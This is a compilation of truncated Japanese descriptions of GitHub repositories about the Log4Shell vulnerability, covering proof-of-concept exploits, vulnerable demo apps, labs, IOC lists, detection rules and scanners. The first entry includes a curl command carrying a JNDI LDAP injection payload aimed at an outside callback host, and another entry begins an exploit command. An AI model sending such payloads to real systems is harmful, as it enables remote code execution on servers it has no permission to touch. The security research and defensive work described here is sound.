log4shell-demo

Log4Shell CVE-2021-44228 に対して脆弱なシンプルなSpring Bootアプリケーション デフォルトのロギングフレームワークをlogbackからlog4j2に変更 アプリケーションは'User-Agent'ヘッダーをログに記録するため、curlと、例えば interactsh-service を使用して脆弱性をテストできます。 curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ app.interactsh.com でDNSインタラクションが確認できるはずです。 Docker hub...

Log4Shell_CVE-2021-44228_related_attacks_IOCs

Log4Shell（CVE-2021-44228）related attacks IOCs ソースIPはApache Log4j RCEを利用して攻撃を試みています。その多くはTorノードです。詳細はAttack-IP.md log4j脆弱性を悪用して拡散するマルウェア、ボットネットなどのIOCはIOC-C2.mdをご参照ください。 Snort検出ルールはSnort.md SuricataルールはSuricata.md...

log4j-shell-csw

Log4j シンプルなエクスプロイト CVE-2021-44228 脆弱性に対する概念実証エクスプロイト。 Log4j はセキュリティおよびパフォーマンス情報のログ記録に使用され、Java を使用する様々なコンシューマーおよびエンタープライズサービス、ウェブサイト、アプリケーション、さらには医療機器やサポートシステムにわたる30億以上のデバイスに影響を与えます。 注記: これは「ポイントアンドクリック」のエクスプロイトではありません。初期トリガーペイロードは生成されますが、それを適切な場所（HTTP ヘッダー/チャット/等）に注入するのはユーザーの責任です。 前提条件 python3 p...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator 概要 このツールを使用すると、ユーザーが指定したJavaおよびLog4Jのバージョンについて、単純なJava WebアプリケーションがCVE-2021-44228に対して脆弱であるかどうかを検証できます。 また、オプションで事前定義されたいくつかの緩和策のいずれかを適用することもできます。 log4shellvalidator.pyによって起動されるシミュレーションラボは、docker-composeを使用してlog4jの脆弱性を悪用し、脆弱なマシン上でRCEを獲得することをシミュレートします。 動作の仕組み...

CVE-2021-44228

CVE-2021-44228 Log4Shell 概念実証 CVE-2021-44228 Java 8 JDK を使用してください。 Java 8 ダウンロード Images Credits Casey Dunham - Java リバースシェル kozmer - 初期 PoC Legal このスクリプトの作者は、このコードがどのように使用されるかについて一切 の責任を負いません。これは研究、開発、教育目的のみに作成されたものです。...

CVE-2021-44228

CVE-2021-44228 Log4Shell CVE-2021-44228 脆弱性スキャナーおよび概念実証...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 in Apache Solr Docker による管理環境で、Apache Solr における Log4Shell 脆弱性の再現と学習を行います。 環境 ターゲット solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 で、脆弱性のある Log4j バージョンが実行されています。 攻撃者 kali-lab: nmap、curl、netcat がプリインストールされた基本的な Kali Linux コンテナ。 ラボの起動方法 1. コンテナの起動...

CVE-2021-44228-Log4j-lookup-Rce

0x01、環境 Jdk7u21（任意バージョンで可） 影響バージョン：Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static void mainString args...

CVE-2021-44228

CVE-2021-44228 のための Tai-e これは、Tai-e を利用して Log4Shell 別名 CVE-2021-44228 の脆弱性とそのトリガーパスを特定するサンプルプロジェクトです。 関連動画（中国語）: https://www.bilibili.com/video/BV1dV411F781 はじめに Git でこのリポジトリをクローンします： git clone https://github.com/Tai-e/CVE-2021-44228.git ターミナルで次のコマンドを実行します（システムに Java 17 以上が必要です）： ./gradlew run...

CVE-2021-44228-log4Shell

CVE-2021-44228-log4Shell エクスプロイト エクスプロイトテスト google.com に ping を実行します 任意のコマンドを実行 OS名、バージョン、アーキテクチャを出力します OSとユーザーに関する詳細を収集 リモートマシンで電卓を開きます 任意の実行可能ファイルを実行できます github からこの README.md をダウンロードします ExploitTest の実行 java ExploitTest サンプル log4shell リンク https://log4shell.huntress.com/...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell 概念実証 Apache Log4j2 =2.14.1 の設定、ログメッセージ、パラメータで使用される JNDI 機能は、攻撃者が制御する LDAP およびその他の JNDI 関連エンドポイントから保護されていません。 メッセージルックアップ置換が有効な場合、ログメッセージまたはログメッセージのパラメータを制御できる攻撃者は、LDAP サーバーから読み込まれた任意のコードを実行できます。 この脆弱性の仕組みをご理解いただくために、シンプルかつ実際に動作する概念実証（PoC）を備えたリポジトリを用意しました。 前提条件...

ansible-role-log4shell

lucab85.ansiblerolelog4shell Log4Shell（CVE-2021-44228）対策として、公式のRed Hat Log4j検出スクリプト RHSB-2021-009 を使用して対象のLinuxホストをスキャンするAnsibleロールです。 Red Hat バージョン 1.3 ディテクタ 2022-01-10 でテスト済みです。 Ansible Playbook コードはAnsible Playbook lucab85/log4j-cve-2021-44228 としても利用できます。 Requirements ansible 2.9+ Role Variabl...

CVE-2021-44228-log4jVulnScanner-metasploit

CVE-2021-44228-log4jVulnScanner-metasploit Log4J RCE CVE-2021-44228 の脆弱性を発見しファジングするためのオープンな検出・スキャンツール 準備 POC git clone https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit cd CVE-2021-44228-log4jVulnScanner-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp...

ansible-role-log4shell

Ansible ロール - log4shell ⭐ GitHub でスターを付けてください — それが大きな励みになります! システム上の Log4Shell CVE-2021-44228 を検出します このロールは、ファイルシステムとオープン中のファイル lsof から JAR および WAR を探し出そうとします ⚠️ スキャン中は、/ に対する find と JAR/WAR 内を調べるための解凍処理により、システムの動作が遅くなる可能性があります このロールは、以下のような辞書を変数 log4shellanalyzeversions に格納します:...

TPASLog4ShellPoC

TPAS Log4Shell PoC このリポジトリは、Log4Shell脆弱性（CVE-2021-44228）の概念実証（PoC）を含んでいます。これは、FCUPの情報セキュリティ修士課程におけるカリキュラム科目TPASの課題の一部として開発されました。 特徴： React SPAフロントエンド：ダミーJSON API https://dummyjson.com/docs/products を介して提供される、商品の閲覧や説明、価格、評価などの基本詳細を表示するような基本的な機能を備えた汎用eコマースウェブサイトをシミュレートします。 脆弱なバージョンのLog4j...

CVE-2021-44228_scanner

CVE-2021-44228scanner log4jのCVE-2021-44228問題に対して脆弱なアプリケーションは、jar、war、earファイルをスキャンしてJndiLookup.classの存在を検索することで検出できる可能性があります。 調査対象のプラットフォームによって、PowerShellスクリプトまたはPython3スクリプトのどちらを実行するのが適切かが決まります。どちらの場合も、オプションの引数は検索を開始するトップレベルディレクトリです。...

LOG4J-CVE-2021-44228

LOG4J-CVE-2021-44228 Log4Shell — CVE-2021-44228としても知られる — は、Apache FoundationのLog4jを使用するシステムにおいてリモートコード実行を可能にする深刻な脆弱性です。Log4jは、商用・オープンソースのソフトウェア製品やユーティリティで広く利用されているオープンソースのJavaライブラリです。 POC分析 脆弱なサーバーはポート8080で動作しています そして、ldapサーバーは2つのポート（http 8888 と ldap 1389）で動作しています エクスプロイトコマンド curl 172.17.0.2:808...

Log4J-Simulation-Tool

プロジェクトについて これは、CVE-2021-44228 向けに特別に作成された自動脆弱性スキャナー、パッチ管理、およびエクスプロイトツールです。これは Python、Java、Linux シェルプログラムの組み合わせであり、ネットワーク管理者、エンドポイントセキュリティ開発者、サイバーセキュリティアナリストがペネトレーションテストを実施し、Log4Shell 脆弱性から自身を保護することを容易にします。 セキュリティアナリストは、Log4J JNDI 攻撃を実行できるだけでなく、統合されたパッチマネージャーを使用してセキュリティ問題を軽減することもできます。...

CVE-2021-44228

CVE-2021-44228 Log4Shell脆弱性（CVE-2021-44228）の概念実証...

log4shell-hotfix-side-effect

Log4Shell Hotfix 副作用テストケース CVE-2021-44228（別名 Log4Shell）のホットフィックスを こちら で推奨されている通りに適用した際に、ClassNotFoundException や同様の予期しない例外が発生するかどうかを確認したかったのです。 結果：例外は一切発生しないようです。 これをテストするには、以下のコマンドを実行します： ./gradlew clean installDist env JAVAOPTS=-Xmx64M...